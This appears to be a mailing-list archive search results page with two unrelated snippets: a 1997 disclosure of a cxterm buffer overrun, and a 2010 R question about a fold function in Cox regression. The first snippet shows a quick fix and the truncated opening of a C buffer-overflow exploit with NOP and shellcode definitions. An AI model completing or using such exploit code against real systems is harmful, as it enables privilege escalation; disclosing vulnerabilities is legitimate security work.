search for: mzhang

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1997 May 14
4
cxterm buffer overrun
...attached below is the exploit. Quick fix? chmod -s /path/cxterm ========================================================================== /* cxterm buffer overflow exploit for Linux. This code is tested on both Slackware 3.1 and 3.2. Ming Zhang mzhang@softcom.net */ #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #define CXTERM_PATH "/usr/X11R6/bin/cxterm" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = &quo...
2010 Apr 07
0
question about fold function
Dear all, I'm trying to use the fold function as described here: http://cran.r-project.org/doc/contrib/Fox-Companion/appendix-cox-regression.pdf Page9 It does say that you can use this when you have more than one time varying covariate: in the description of the argument cov it says: "cov: A vector giving the column numbers of the time-dependent covariate in data, or a list of